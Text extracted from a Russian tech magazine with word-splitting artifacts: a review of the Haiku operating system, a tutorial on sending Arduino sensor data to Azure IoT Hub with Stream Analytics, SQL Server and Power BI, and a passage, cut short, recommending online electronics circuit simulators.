Haiku  —  по‐нас тояще му  быс трая  и  отзывчи вая  сис тема.  Заг рузка
до рабоче го сто ла про дол жает ся не доль ше секун ды, при ложе ния откры вают ‐
ся мгно вен но, тяжелые задачи вро де ком пиляции исходни ков никак не вли яют
на работу дру гих при ложе ний. Сис тема по пол ной исполь зует SMP, рас пре ‐
деляя наг рузку на про цес сорные ядра, и рас парал лелива ет потоки обра бот ки
логики  и  интерфей са  при ложе ний,  отда вая  пос ледним  при ори тет  в  любых
ситу ациях.  В  сис теме  вооб ще  нет  такого  понятия,  как  кур сор  со  знач ком
песоч ных часов, он тут прос то не нужен.

Ин терфейс  Haiku  прост,  но  не  без  сво их  осо бен ностей.  В  его  осно ве
лежат  прог раммы  Tracker  и  Deskbar.  Tracker  —  это  фай ловый  менед жер,
который отве чает в том чис ле за соз дание ико нок на рабочем сто ле. Deskbar
отоб ража ет кноп ку «Пуск», трей, часы и спи сок откры тых при ложе ний.

Дес ктоп, Deskbar и меню при ложе ний

Сам окон ный интерфейс  впол не  стан дар тный,  за исклю чени ем весь ма ори ‐
гиналь ного  метода  отоб ражения  име ни  окна  —  оно  напоми нает  кар точку
в кар тотеке. Такой дизайн поз воля ет объ еди нять нес коль ко окон в одно окно
с  вклад ками;  для  это го  дос таточ но  зажать  кла вишу Win  и  перета щить  одно
окно в дру гое. Для перек лючения меж ду окна ми мож но исполь зовать левый
или пра вый клик, при чем пра вый дела ет активным пре дыду щее окно.

Tracker, тер минал и Vim

Haiku под держи вает вид жеты на рабочем сто ле, при чем появи лись они еще в
BeOS,  то  есть  до  начала  двух тысяч ных.  Вид жеты  называ ются  реп ликан тами
и не явля ются отдель ной сущ ностью. Фак тичес ки это часть дру гого при ложе ‐
ния,  которую мож но  вытянуть  на  рабочий  стол.  Нап ример,  мож но  запус тить
монитор  сис темы  и  перета щить  гра фики  заг ружен ности  в  дес ктоп,  а  потом
зак рыть сам монитор.

Мо нитор сис темы, часы и их реп ликан ты

Есть здесь и мес тный док, одна ко выпол нен он в фор мате отдель ного окна,
которое мож но кре пить к краю экра на. Дру гие при ложе ния его перек рыва ют,
так что поль за от него под боль шим сом нени ем.

Док, тер минал и поч товый кли ент

Haiku — UNIX‐подоб ная сис тема, поэто му все лич ные фай лы она скла диру ет
в  каталог  home,  забот ливо  раз мещен ный  на  рабочем  сто ле.  При  кли ке
по икон ке откро ется Tracker, доволь но прос той, но удоб ный фай ловый менед ‐
жер, работа ющий в тес ной коопе рации с фай ловой сис темой BFS.

Как и ее пред шес твен ница BeOS, Haiku спро екти рова на для пов семес тно ‐
го исполь зования рас ширен ных атри бутов  (метадан ных) фай ловой сис темы.
Поэто му,  кро ме име ни фай ла, его раз мера и мес та рас положе ния, сис теме
так же извес тны мно гие дру гие дан ные.

Нап ример, все пре дус танов ленные при ложе ния здесь хра нят ся в катало ге
/system/apps. Но для сис темы и Tracker это не прос то фай лы. Она зна ет, что
это при ложе ния для кон крет ной вер сии ОС, пом нит вер сию прог раммы и имя
авто ра.  Вся  эта  информа ция  записа на  в  фай ловую  сис тему  и  прик репле на
к фай лу. С точ ки зре ния сис темы спи сок при ложе ний в Deskbar и спи сок фай ‐
лов  в  Tracker  абсо лют но  рав нознач ны.  Кста ти,  как  и  в  macOS,  при ложе ние
в Haiku выг лядит как файл и уста нав лива ется прос тым копиро вани ем на диск,
точ нее — в пап ку  ./system/app

Tracker и нес коль ко вари антов отоб ражения спис ка фай лов

Еще  одна  инте рес ная  чер та  Tracker  —  это  пол ное  отсутс твие  кон цепции
копиро вания  и  встав ки.  В  кон текс тном  меню  есть  пункт  «Копиро вать  в»  —
если  выб рать  его,  то  появит ся  под меню  со  спис ком  катало гов,  с  помощью
которо го мож но выб рать мес то наз начения. Как ока залось, это дей стви тель ‐
но очень быс трый и удоб ный спо соб копиро вания и переме щения фай лов.

Tracker и меню копиро вания

В ком плект Haiku вхо дит бра узер WebPositive, который при шел на сме ну уста ‐
рев шему  NetPositive  из  BeOS.  WebPositive  осно ван  на  сов ремен ной  вер сии
движ ка  WebKit,  под держи вает  исто рию  и  табы,  но  иног да  сбо ит  и  при тор ‐
мажива ет.

WebPositive, xakep.ru и юные съем щицы

Есть и встро енный тер минал, с помощью которо го мож но работать в коман ‐
дной стро ке. И это не какой‐то мес тный cmd.exe, а впол не стан дар тный bash
со стан дар тным же набором команд UNIX и воз можностью работы нап рямую
с  устрой ства ми  через  фай лы  катало га    (да,  мож но  записать  образ
на  флеш ку  с  помощью  ).  Сис тема  фак тичес ки  одно поль зователь ская,
поэто му стан дар тный уро вень дос тупа — root.

/dev
dd

Тер минал, фай лы устрой ств и пакеты

В  ком плек те  с  сис темой идет email‐кли ент,  все ядный муль тимеди апро игры ‐
ватель  и  кон вертер,  редак тор  для  прог раммис тов,  отладчик,  при ложе ние
для  раз бивки  дис ка,  при ложе ние  для  зах вата  видео  с  камеры,  ТВ‐тюнер,
редак тор ико нок, дик тофон,  каль кулятор, прос мот рщик PDF и дру гие полез ‐
ные в хозяй стве вещи. В целом стан дар тный дес ктоп ный набор, которо го хва ‐
тит для исполь зования сис темы в «режиме домохо зяй ки». Но есть и мес тный
магазин при ложе ний.

MediaPlayer и Sintel

СТОРОННИЕ ПРИЛОЖЕНИЯ
За все вре мя сущес тво вания BeOS для нее были написа ны тысячи раз личных
при ложе ний, сре ди которых есть пор ты с дру гих плат форм (из важ ного — Op‐
era, Flash Player, Real Player, Java). Все эти при ложе ния прек расно работа ют
в Haiku, но уже дав но уста рели. На сме ну им приш ли пор тирован ные вер сии
опен сор сных при ложе ний, а так же модер низиро ван ные сбор ки ста рых прог ‐
рамм BeOS, исходные коды которых были откры ты. И те и дру гие мож но уста ‐
новить, исполь зуя магазин HaikuDepot.

HaikuDepot

Вот лишь малая часть прог рамм, которые мож но най ти в репози тории:
OpenJDK — Java, впол не при год ная к исполь зованию;•
NetSurf — прос той и очень быс трый бра узер с под дер жкой CSS;•
qBittorrent — всем извес тный torrent‐кли ент;•
MailNews — форк Mozilla Thunderbird;•
qutIM — мно гоп ротоколь ный IM‐кли ент;•
QupZilla — бра узер на движ ке WebKit;•
SMPlayer/VLC — все ядные меди апле еры;•
BeFAR — клон FAR Manager;•
QEmacs/Vim — редак торы из мира UNIX;•
Git/CVS — сис темы кон тро ля вер сий;•
OpenSSH — SSH‐кли ент и сер вер;•
QEMU — эму лятор ПК (без под дер жки хар двар ного уско рения);•
ScummVM — интер пре татор квес тов от Lucas Arts и дру гих;•
Mednafen — эму лятор Game Boy, SNES, Sega, PSX.•

NetSurf с тре мя вклад ками

Все при ложе ния рас простра няют ся в бан длах с рас ширени ем hpkg и пос ле
ска чива ния попада ют в каталог  . За ним пос тоян но сле дит
демон package_daemon и при появ лении нового пакета сра зу мон тиру ет его
содер жимое  в  сис тему,  так,  что бы  при ложе ние  появи лось  в  .
Это поз воля ет уста нав ливать пакеты, прос то копируя их в  ,
и уда лять, как обыч ные фай лы.

/system/packages

/system/apps
/system/packages

Для управле ния пакета ми из коман дной стро ки есть коман да pkgman. С ее
же  помощью мож но  обновлять  саму Haiku  до  акту аль ной  вер сии. Для  это го
необ ходимо  все го  лишь  добавить  новый  репози торий  и  запус тить  про цесс
обновле ния:

$ pkgman add‐repo http://download.haiku‐os.org/haiku‐repositories/
master/$(getarch)/current/
$ pkgman update

ПОДДЕРЖКА ОБОРУДОВАНИЯ
Haiku  под держи вает  про цес соры  архи тек тур  x86,  x86_64,  ARM  и  PowerPC.
Минималь ные  сис темные  тре бова ния —  Pentium  II  и  64  Мбайт  опе ратив ки,
а  рекомен дуемые —  Pentium  III  и  256 Мбайт.  Под держи вают ся  прак тичес ки
все  сов ремен ные  виде оадап теры,  но  без  хар двар ного  уско рения  (работы
по пор тирова нию драй веров Gallium 3D из  Linux идут  уже  который  год). Зву ‐
ковая кар та тоже дол жна зарабо тать без проб лем, рав но как и сетевые кар ты
и  адап теры  Wi‐Fi  (Haiku  исполь зует  драй веры  FreeBSD).  Кро ме  того,  будет
работать  Bluetooth  вплоть  до  вер сии  5.0.  Под держи вают ся  фай ловые  сис ‐
темы FAT, ext 3, ext 4, NTFS, ReiserFS в режиме чте ния и записи, Btrfs и exFAT
в режиме чте ния.

Од нако все это  теория. На прак тике  тебя могут ждать раз ные сюр при зы.
Пос тавив Haiku на ноут бук Lenovo ThinkPad X220, я уже было обра довал ся, что
сис тема  смог ла  опоз нать  вооб ще  все  желез ные  ком понен ты,  вклю чая  кар ‐
три дер, бес про вод ную мышь, показа ла реаль ное зна чение заряда акку муля ‐
тора  и  даже опре дели ла  кор рек тное  зна чение DPI  экра на  и  поз волила  нас ‐
тро ить  внеш ний  монитор  отдель но  от  экра на  ноут бука.  Одна ко Wi‐Fi  приш ‐
лось  . На ASUS Eee PC 1001PXD Haiku вооб ще не смог ла
прой ти даль ше заг рузоч ного экра на.

нас тра ивать вруч ную

Кро ме  того, ноч ные сбор ки Haiku, в  которых появ ляют ся все новые вкус ‐
ности,  зачас тую  нес табиль ны  и  неп ригод ны  для  пов седнев ного  исполь ‐
зования,  а  в  пос ледней  более‐менее  ста биль ной  аль фе,  вышед шей
в 2012 году, недос тает под дер жки USB 3.0, пол ноцен ного магази на при ложе ‐
ний и новых драй веров.

ВЫВОДЫ
В зак лючение я мог бы ска зать, что Haiku — дос той ная опе раци онка, которую
сто ит  гля нуть для обще го раз вития,  но пос ле под робно го  зна комс тва с  ней
ска жу по‐дру гому: Haiku прос то влюб ляет в себя. Ког да я начал писать этот
обзор, то думал, что из это го вый дет что‐то наподо бие изу чения занима тель ‐
ного музей ного экспо ната вро де бив ня мамон та или какой‐нибудь ока мене ‐
лос ти.  Но  в  резуль тате  я  уви дел  вов се  не  ока мене лость,  а  отличную,  про ‐
думан ную, про изво дитель ную, не перег ружен ную хла мом ОС.

Лич но  для  меня  эта  сис тема  если  не  иде аль на,  то  близ ка  к  иде алу.
Это  при мер  того,  какой  на  самом  деле  может  быть  дес ктоп ная  ОС,  если
не тащить в нее все под ряд, а реали зовать толь ко то, что дей стви тель но нуж ‐
но. Но реали зовать это пра виль но.

Haiku прос та как сапог, но в этой прос тоте ее мощь. Здесь все на сво их
мес тах и работа ет ров но так, как и дол жно работать. Ее не сов сем стан дар ‐
тные решения не раз дра жают, как это обыч но быва ет. Наобо рот, к ним быс ‐
тро при выка ешь и оце нива ешь их удобс тво. Ощу щения, что какой‐то фун кции
недос тает, у меня не воз никло ни разу.

Да, в текущем виде Haiku не допиле на, нес табиль на, под держи вает не все
железо  и  работа ет  не  на  всех  устрой ствах.  Ее  шан сы  на  покоре ние  мира
исче зающе малы — воз можно, еще мень ше, чем у BeOS двад цать лет назад.
Но  при  этом  перед  нами  юза бель ная,  удоб ная  и  быс трая  сис тема —  обя ‐
затель но поп робуй ее, если еще не сде лал это го.

WWW

•Ноч ные сбор ки Haiku
•Спи сок под держи ваемо го обо рудо вания
•Рус ско языч ный блог о Haiku
•Рус ско языч ное  сооб щес тво  поль зовате лей
Haiku

•Ис ходни ки  мно гих  при ложе ний  для  BeOS
и Haiku

mailto:zobnin@glc.ru
https://xakep.ru/2013/10/22/beos-history/
https://www.haiku-os.org/guides/daily-tasks/wireless/
https://download.haiku-os.org/nightly-images/x86_gcc2_hybrid/
https://dev.haiku-os.org/wiki/HardwareInfo
https://os-haiku.blogspot.ru/
http://haiku-os.livejournal.com/
https://github.com/HaikuArchives
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В прош лом году ком пания Microsoft анон сирова ла облачный
бэкенд для управле ния умны ми при бора ми и интегри рован ‐
ной  элек тро никой.  Azure  IoT  Hub  поз воля ет  с  миниму мом
прог рамми рова ния  нас тра ивать  вза имо дей ствие  меж ду
устрой ства ми  и  встра ивать  его  в  свои  про екты  на  осно ве
Azure.  Что бы  пос мотреть,  как  это  работа ет,  мы  раз берем
прос тую  задачу  —  отправ ку  в  обла ко  показа ний  дат чика,
под клю чен ного к кон трол леру Arduino.

Итак, перед нами прос тей ший при бор. Он сос тоит из  кон трол лера, неболь ‐
шой  макет ной  пла ты,  фоторе зис тора  (дат чика  све та)  и  ста били зиру юще го
резис тора.  В  качес тве  кон трол лера  исполь зует ся  Genuino  MKR ‐
1000 со встро енным Wi‐Fi — если хочешь такой же, то он обой дет ся в 35 дол ‐
ларов. Пита ется пла та от micro‐USB.

В  прин ципе,  дат чик мож но  было  пос тавить  любой —  это  никак  не  пов лияет
на наши даль нейшие пла ны. На кар тинке ниже изоб ражена схе ма, по которой
наше устрой ство будет общать ся с обла ком.

Де вайс шлет дан ные в IoT Hub, где, прой дя через сер вис Stream Analytics, они
попада ют в базу дан ных и обра баты вают ся при помощи Power BI. Со все ми
эти ми вещами мы раз берем ся чуть поз же, а пока давай нач нем с основ.

INFO

В  кон це  статьи  есть  исходни ки  получив шегося
про екта. Не забудь пос мотреть их, если пла ниру ‐
ешь сде лать что‐то похожее.

IoT Hub офи циаль но  перево дит ся  на  рус ский  как  «Центр  интерне та  вещей».
Он может  как получать дан ные с  устрой ств,  так и отправ лять им сооб щения
или коман ды.

Кро ме IoT Hub, вза имо дей ство вать с устрой ства ми может и еще один сер ‐
вис под наз вани ем Event Hub («кон цен тра тор событий»). Он отли чает ся боль ‐
шей  про пус кной  спо соб ностью,  но  шлет  сооб щения  толь ко  в  одном  нап ‐
равле нии — от устрой ства в обла ко. IoT Hub под держи вает такие про токо лы,
как  MQTT,  MQTT  через  WebSocket,  AMQP,  AMQP  через  WebSocket  и  HTTP.
Event Hub под держи вает AMQP, AMQP через WebSocket  и HTTP. Под робнее
о   и о том, как исполь зовать их вмес те, можешь про ‐
читать на сай те Microsoft. Мы же изу чим IoT Hub (он поин терес нее).
раз нице меж ду хабами

Ты  можешь  сам  ,  который  фор миру ет  сооб щение  по  пра ‐
вилам про токо ла и отправ ляет его, но гораз до про ще исполь зовать для это го
SDK. Я покажу, как это делать, а заод но раз берем ся с нас трой кой хаба и дру ‐
гих сер висов Azure.

на писать  код

СОЗДАНИЕ IOT HUB
Нам  надо  соз дать  IoT  Hub  на  одно  устрой ство.  До  8000  сооб щений  в  день
и до 0,5 Кбайт на сооб щение сер вис бес пла тен, и нам это го пока что за гла за
хва тит. Наз вание можешь задать любое.

INFO

У IoT Hub есть воз можность получать с устрой ства
фай лы. Иног да это исполь зуют в качес тве легаль ‐
ного хака. Дан ные с нес коль ких девай сов переда ‐
ются  одно му  глав ному  устрой ству,  которое  сох ‐
раня ет их в тек сто вый файл опре делен ного вида
и отправ ляет в обла ко.

Пос ле соз дания нам необ ходимо зай ти в полити ки обще го дос тупа.

Ко пиру ем стро ку под клю чения — это пер вичный  ключ. Он нам еще понадо ‐
бит ся.

СОЗДАНИЕ DEVICE-TWIN И ПОЛУЧЕНИЕ SAS
Те перь  нам  нуж но  соз дать  вир туаль ное  устрой ство  в  обла ке  Azure,  которое
будет  соот ветс тво вать  нашему  реаль ному  устрой ству.  По‐англий ски
это  называ ется  device‐twin,  что  озна чает  устрой ство‐двой ник.  Соз дать  его
мож но с помощью   для Windows  (ищи наибо лее све ‐
жий  SetupDeviceExplorer.msi)  или  кросс‐плат формен ной  ути литы  iothub‐ex‐
plorer. Мы рас смот рим вто рой вари ант.

ути литы Device Explorer

Для  уста нов ки  iothub‐explorer  тебе  понадо бит ся  ,  Node.js  Package
Manager. Уста новив его, пиши в кон соли:

NPM

npm install ‐g iothub‐explorer@latest

Пос ле уста нов ки под клю чим ся к нашему хабу:

iothub‐explorer login "строка подключения"

В кавыч ки под ставь пер вичный ключ, который ты получил при соз дании хаба.
Пос ле под клю чения соз даем device‐twin:

iothub‐explorer create myDeviceId ‐‐connection‐string

В  качес тве  myDeviceId  можешь  при думать  и  ввес ти  любой  удоб ный  иден ‐
тифика тор.

В резуль тате выпол нения коман ды будет выведе на стро ка под клю чения —
connectionString. Это и есть SAS, Shared Access Signature. Ско пируй ее себе
и  сох рани —  она  понадо бит ся  для  обще ния  с  хабом.  Но  если  вдруг  забыл
записать ее,  то ничего страш ного: спи сок устрой ств с их парамет рами под ‐
клю чения мож но в любой момент получить при помощи коман ды 

.
iothub‐ex‐

plorer list
В ито ге у тебя будет две стро ки под клю чения. Одна — для того, что бы под ‐

клю чать ся  к  хабу  из  ути литы  iothub‐explorer  (ее мы  взя ли  на  пор тале  Azure),
вто рая  (SAS) —  для  того,  что бы  устрой ство  мог ло  под клю чать ся  к  IoT  Hub.
Не путай их.

WWW

•Device Explorer
•Стра ница  о  «двой никах»  в  офи циаль ном ману ‐
але

•Пол ный спи сок команд ути литы iothub‐explorer

ПРОШИВАЕМ ARDUINO СЕРТИФИКАТОМ SSL
Для аутен тифика ции в Azure IoT Hub мож но выбирать из двух вари антов: SSL +
SAS или SSL + X.509. Но ресур сов Arduino хва тает толь ко на пер вый из них.
Все‐таки  это  устрой ство  с  малым  пот ребле нием  энер гии  и  огра ничен ными
вычис литель ными воз можнос тями.

В любом слу чае нам нуж но про шить нашу пла ту SSL‐сер тифика том. Сде ‐
лать  это мож но  с  помощью  кросс‐плат формен ной  ути литы 

 или же через Arduino IDE.
WiFi 101  Firmware

Updater
Пер вым делом ста вим биб лиоте ку WiFi 101 в Arduino IDE.

Пос ле ее уста нов ки в IDE появят ся при меры исполь зования этой биб лиоте ки.
Один  из  при меров  под  наз вани ем  FirmwareUpdater  необ ходимо  открыть
и записать на пла ту.

От крыв и запус тив его, выбира ем нашу пла ту (пла ты для IoT пока что не вхо дят
в ком плект пос тавки IDE по умол чанию).

От кры ваем  менед жер  плат  и  ищем  необ ходимую  пла ту.  В  моем  слу чае
это MKR 1000.

Пос ле  уста нов ки  в  том  же  самом  раз деле  меню  необ ходимо  пометить
исполь зуемую пла ту.

За тем выб рать порт, к которо му она под клю чена.

Вы бирай  Sketch — Upload,  и  скетч  будет  заг ружен  на  пла ту.  Теперь  мож но
про шивать.

Пер вый  вари ант:  открыть  в  IDE  меню  Tools  —  WiFi 101  FirmwareUpdater,
нажать Add domain и добавить URL хаба.

Те перь жмем Upload Certificates to WiFi module, и готово.
Как  вари ант —  можешь  открыть  отдель ную  ути литу WiFi 101  Firmware  Up‐

dater, ввес ти адрес хаба  (в моем слу чае 
) в вер хнее тек сто вое поле и нажать кноп ку Fetch. Сер тификат заг рузит ся

на компь ютер. Пос ле это го нуж но выб рать COM‐порт, к которо му под клю чено
устрой ство, и нажать появив шуюся кноп ку Upload certificates.

ArduinoAzureHub.azure‐devices.
net

mailto:asommer@yandex.ru
https://docs.microsoft.com/ru-ru/azure/iot-hub/iot-hub-compare-event-hubs
https://habrahabr.ru/post/282912/
https://github.com/Azure/azure-iot-sdks/releases
https://nodejs.org/en/download/
https://github.com/Azure/azure-iot-sdks/releases
https://docs.microsoft.com/ru-ru/azure/iot-hub/iot-hub-node-node-twin-getstarted
https://github.com/azure/iothub-explorer
https://github.com/arduino-libraries/WiFi101-FirmwareUpdater/releases
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ПИШЕМ СКЕТЧ И ИСПОЛЬЗУЕМ AZURE IOT HUB LIBRARY FOR
ARDUINO
Ус танав лива ем  сле дующие  биб лиоте ки  точ но  так  же,  как  мы  уста нав ливали
WiFi 101:

AzureIoTHub;•
AzureIoTUtility;•
AzureIoTProtocol_MQTT;•
AzureIoTProtocol_HTTP;•
NTPClient;•
RTCZero.•

 исходный код IoT Hub library  for Arduino из офи циаль ного репози ‐
тория Azure. В пап ке examples находим про ект simplesample_http и откры ваем
его.

Ска чива ем

Уда ляем  или  ком менти руем  стро ку 
из метода  .

Serial.setDebugOutput(true)
initSerial()

В  фай ле    прис ваиваем  перемен ной 
  зна чение  стро ки  под клю чения,  которую  мы  получи ли  от  iothub‐

explorer.

simplesample_http.c connection‐
String

В фай ле    запол няем зна чения перемен ных 
и    соот ветс твен но наз вани ем нашей  точ ки дос тупа Wi‐Fi  и  ее паролем.
Пос ле это го код скет ча ста новит ся рабочим и его мож но заг ружать в Arduino.

simplesample_http.ino ssid
pass

На мой  вкус,  при мер  из  Azure  IoT  library  for  Arduino  не  такой  уж  и  simple.
Поэто му пред лагаю свой упро щен ный вари ант фай ла  .simplesample_http.c

В этом при мере с пина под номером 1,  к  которо му на нашей пла те под ‐
клю чен дат чик,  каж дую секун ду сни мают ся показа ния. Дан ные отправ ляют ся
в обла ко в виде стро ки deviceId и целого чис ла iotdata.

В  качес тве  иден тифика тора  устрой ства  ( )  в  коде  исполь зует ся
его  наз вание.  Если  такую  прог рамму  пот ребу ется  запус кать  на  нес коль ких
устрой ствах,  то  ID  нуж но  будет  делать  раз ным.  Это  опи сыва ется  в  модели
дан ных:

deviceId

BEGIN_NAMESPACE(IoTSample);
DECLARE_MODEL(LightSensorDataModel, WITH_DATA(ascii_char_ptr, 
deviceId), WITH_DATA(int, iotdata));
END_NAMESPACE(IoTSample);

А сле дующий кусок кода запол няет модель дан ными и отправ ляет сооб щение
в IoT Hub каж дую секун ду:

myIoTdata = CREATE_MODEL_INSTANCE(IoTSample, LightSensorDataModel);
if (myIoTdata == NULL)
{
  (void)printf("Failed on CREATE_MODEL_INSTANCErn");
}
else
{
  while (1)
  {
    myIoTdata‐>deviceId = "ArduinoMKR";
    myIoTdata‐>iotdata = analogRead(1);
    unsigned char* destination;
    size_t destinationSize;
    if (SERIALIZE(&destination, &destinationSize, myIoTdata‐>deviceId
, myIoTdata‐>iotdata) != CODEFIRST_OK)
    {
      (void)printf("Failed to serializern");
    }
    else
    {
      sendMessage(iotHubClientHandle, destination, destinationSize);
    }
    IoTHubClient_LL_DoWork(iotHubClientHandle);
    ThreadAPI_Sleep(1000);
  }
  DESTROY_MODEL_INSTANCE(myIoTdata);
}

Бо лее  под робно  о  биб лиоте ках  и  методах,  исполь зован ных  в  этом  скет че,
можешь про читать в  .офи циаль ной докумен тации Microsoft

ПОДКЛЮЧЕНИЕ ДРУГИХ СЕРВИСОВ AZURE
Azure под держи вает мас су вари антов хра нения дан ных. Мы поп робу ем самый
популяр ный из них — SQL Server (хотя, если будешь работать с JSON в боль ‐
ших объ емах, тебе ско рее подой дет NoSQL).

Це ны на SQL Server начина ются от 5 дол ларов в месяц за 2 Гбайт. Одна ко
получить то же самое мож но и бес плат но. Во‐пер вых, есть проб ный пери од
на  месяц —  тебе  выдадут  вир туаль ные  200  дол ларов,  которые  ты  можешь
рас пре делить  по  сво ему  усмотре нию.  Во‐вто рых,  сей час  у  Azure  работа ет
прог рамма,  по  которой  ты  можешь  получать  25  дол ларов  каж дый  месяц
в течение года. Для это го необ ходимо зарегис три ровать ся на пор тале 

. Да, при дет ся оста вить номер сво ей  кре дит ки, но если
тебя пуга ет пер спек тива на что‐то под писать ся и слу чай но вый ти за бес плат ‐
ный лимит, то рекомен дую обза водить ся вир туаль ной кар той.

Visual
Studio Dev Essentials

Впро чем,  вер немся  к  тех ничес кой  сто роне  дела.  Ману ал  по  соз данию
базы доволь но объ емный, и никаких под водных кам ней в этом про цес се нет,
так что отправ ляю тебя к  .офи циаль ной докумен тации

Ког да  база  готова,  перехо дим  к  соз данию  таб лицы.  Это  дела ется
при помощи   из Visual Studio. Если у тебя уже сто ит Visual
Studio 2015 или новее, то допол нитель но ничего уста нав ливать не нуж но.

SQL Server Data Tools

От кры вай  Visual  Studio  и  выбирай  в  меню  View →  Server  Explorer.  Здесь
мож но под клю чить ся к учет ной записи Azure и открыть базу в SQL Server Ob‐
ject Explorer.

В этом окне мож но будет соз дать таб лицу.

Один  момент,  о  котором  обя затель но  нуж но  упо мянуть.  Из  сооб ражений
безопас ности дос туп к SQL Server по умол чанию зак рыт со всех внеш них IP‐
адре сов. То есть, даже зная имя поль зовате ля и пароль, под клю чить ся к базе
со сво его компь юте ра прос то так нель зя. Что бы сде лать это, сна чала зай ди
на пор тал Azure и добавь свой IP в спи сок раз решен ных.

Шут ка, что в IoT бук ва S отве чает за Security, в дан ном слу чае не работа ‐
ет

STREAM ANALYTICS
Вто рой  важ ный  для  IoT  сер вис Azure — это Stream Analytics.  Если мы  хотим
сох ранить дан ные из IoT Hub в базу дан ных, то нам нужен имен но он.

Под клю чить его очень прос то: при думай наз вание, выбери груп пу ресур ‐
сов и тот же реги он, что и у осталь ных сер висов (если сер висы в раз ных реги ‐
онах,  то  опла та  может  быть  выше).  В  резуль тате  дол жно  вый ти  при мер но
как на скрин шоте.

Наж ми на квад рат с над писью «Вход ные дан ные», задай им псев доним и ука ‐
жи свой IoT Hub в качес тве источни ка.

Так же нас тра иваем выход ные дан ные.

Те перь мож но соз дать зап рос, который будет переки дывать дан ные из хаба
в базу. Кли кай на квад рат меж ду вход ными и выход ными дан ными и вво ди его.
В моем при мере зап рос доволь но прос той:

SELECT
    iotdata, deviceId, System.Timestamp as eventtime
    INTO dataout
FROM
    indata

Как можешь заметить, язык зап роса похож на SQL. В дан ном слу чае и в базе
дан ных,  и  в  коде  Arduino  есть  поля    (целочис ленное)  и 
(стро ка). Кро ме того, в базе дан ных соз дано поле    типа datetime.
В момент переме щения дан ных сюда будет записы вать ся вре мя события.

iotdata deviceId
eventtime

POWER BI
Бук вы  BI  в  наз вании    озна чают  Business  Intelligence,  но  пусть  тебя
не  сму щает  серь езность  этих  слов.  Сама  ути лита  не  слож нее,  чем  Excel,
и пред назна чена для того, что бы, под клю чив шись к SQL Server, получать дан ‐
ные в виде гра фика или диаг раммы.

Power  BI

Ра бота ет это нес ложно. Нажима ем «Получить дан ные → Допол нитель ные
све дения…».

Вво дим адрес нашего сер вера и имя базы дан ных. Эта информа ция зада ется
при соз дании базы дан ных SQL Server.

У тебя зап росят имя поль зовате ля и пароль от базы. Вво ди их.

Вы бира ем нуж ную таб лицу.

В резуль тате получа ем такой гра фик.

ЗАКЛЮЧЕНИЕ
Итак, мы сде лали нес ложное  устрой ство,  которое отсы лает дан ные о сво ей
работе в обла ко, а так же научи лись сох ранять и ана лизи ровать эту информа ‐
цию средс тва ми Azure. При желании мы мог ли бы не  толь ко получать сооб ‐
щения,  но  и  отправ лять  коман ды.  Таким обра зом,  устрой ство  теперь  име ет
надеж ное и безопас ное под клю чение  к  интерне ту,  и  вза имо дей ствие  с  ним
не  огра ниче но  локаль ными  ради опро токо лами.  Ну  и  конеч но,  на  прак тике
речь может идти не об одном Arduino у тебя на сто ле, а о мас совом про дук те,
каж дый  из  экзем пля ров  которо го  под держи вает  связь  с  сер верным  бэкен ‐
дом.

WWW

Наш  аль тер натив ный  вари ант  simplesample_http
качай  .здесь

https://github.com/Azure/azure-iot-arduino
https://docs.microsoft.com/ru-ru/azure/iot-hub/iot-hub-device-sdk-c-intro
https://www.visualstudio.com/dev-essentials/
https://docs.microsoft.com/ru-ru/azure/sql-database/sql-database-get-started-portal
https://msdn.microsoft.com/en-us/mt186501
https://powerbi.microsoft.com/ru-ru/desktop/
https://xakep.ru/wp-content/uploads/2017/05/127101/iot_sources_9bfc8d79c3f8f9148d79093753c78cdc-1.zip
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EASYEDA И CIRCUIT SIMULATOR — СЕРВИСЫ, КОТОРЫЕ
ПОМОГУТ ТЕБЕ С РАЗРАБОТКОЙ ЭЛЕКТРОННЫХ СХЕМ1
Ес ли  тебя  вре мена ми  тянет  изу чать  элек тро нику,  то,  помимо  учеб ‐
ников  и  готовых  конс трук торов,  тебе  в  этом  деле  немало  помогут
прог раммы‐симуля торы.  В  них  ты  смо жешь  соб рать  схе му  и  пос ‐
мотреть, как через нее пой дет ток и как изме нят ся его харак терис ‐
тики, ког да он будет про ходить через раз ные ком понен ты.

Ес ли  ты  пред почита ешь  веб‐сер вис,  а  не  прог рамму,  то  я  тебе
рекомен дую  заг лянуть  на  ресурс  .  Это  бес плат ный
кросс‐плат формен ный  набор  инс тру мен тов,  которые  не  тре буют
уста нов ки и работа ют пря мо в бра узе ре. Здесь есть мощ ные средс ‐
тва редак тирова ния элек три чес ких схем, модели рова ния циф роана ‐
лого вых  цепей  и  раз работ ки  печат ных  плат,  для  инже неров‐элек ‐
трон щиков, пре пода вате лей, сту ден тов и ради олю бите лей.

EasyEDA

EasyEDA

Да же регис три ровать ся необя затель но — впро чем, это слож но наз ‐
вать обре мени тель ной про цеду рой. С помощью EasyEDA ты можешь
собирать раз личные схе мы, смот реть, как они работа ют, и пос тигать
азы элек тро ники. К сер вису при лага ется  . На рус ‐
ский  язык  он,  увы,  не  переве ден,  но  разоб рать ся  в  фун кци ях  при ‐
ложе ния при желании мож но и по видео.

неп лохой учеб ник

Как вари ант, можешь гля нуть на  . Это Java‐апплет,
который симули рует работу элек трон ных схем.

Circuit Simulator

Circuit Simulator

Здесь есть встро енный осциллог раф, которым мож но сни мать фор ‐
му  сиг нала  в  любой  точ ке  схе мы.  А  еще  есть  боль шая  база  при ‐
меров  схем,  которые  мож но  заг рузить  и  пот рогать,  —  при чем
как прос тые схе мы  уси лите лей,  так и  весь ма слож ные схе мы дель ‐
та‐сигм АЦП.

Что бы ничего не ска чивать, можешь прос то зай ти по 
и пря мо в бра узе ре пос мотреть, как работа ют схе мы. Обоз начения
очень прос тые: зеленым цве том показы вает ся положи тель ное нап ‐
ряжение,  крас ным  —  отри цатель ное,  серым  обоз нача ется  зазем ‐
ление, а дви жущи еся жел тые точ ки показы вают, как и куда течет ток
в дан ной цепи.

этой ссыл ке

Ес ли навес ти кур сор мыши на эле мент, то в пра вом ниж нем углу
отоб разит ся под робная информа ция о его сос тоянии. Что бы отре ‐
дак тировать  ком понент,  наж ми  на  него  пра вой  кноп кой  мыши
и выбери соот ветс тву ющий пункт меню.

Си муля торы поз волят тебе испы тывать схе мы до того, как ты зай ‐
мешь ся  их  сбор кой  в  реаль нос ти,  помогут  во  всем  разоб рать ся
и понять,  как работа ет  тот или иной ком понент и  как себя поведет
схе ма с раз ными по харак терис тикам ком понен тами.

VIRTUAL LORENZ — ОНЛАЙНОВЫЙ СИМУЛЯТОР
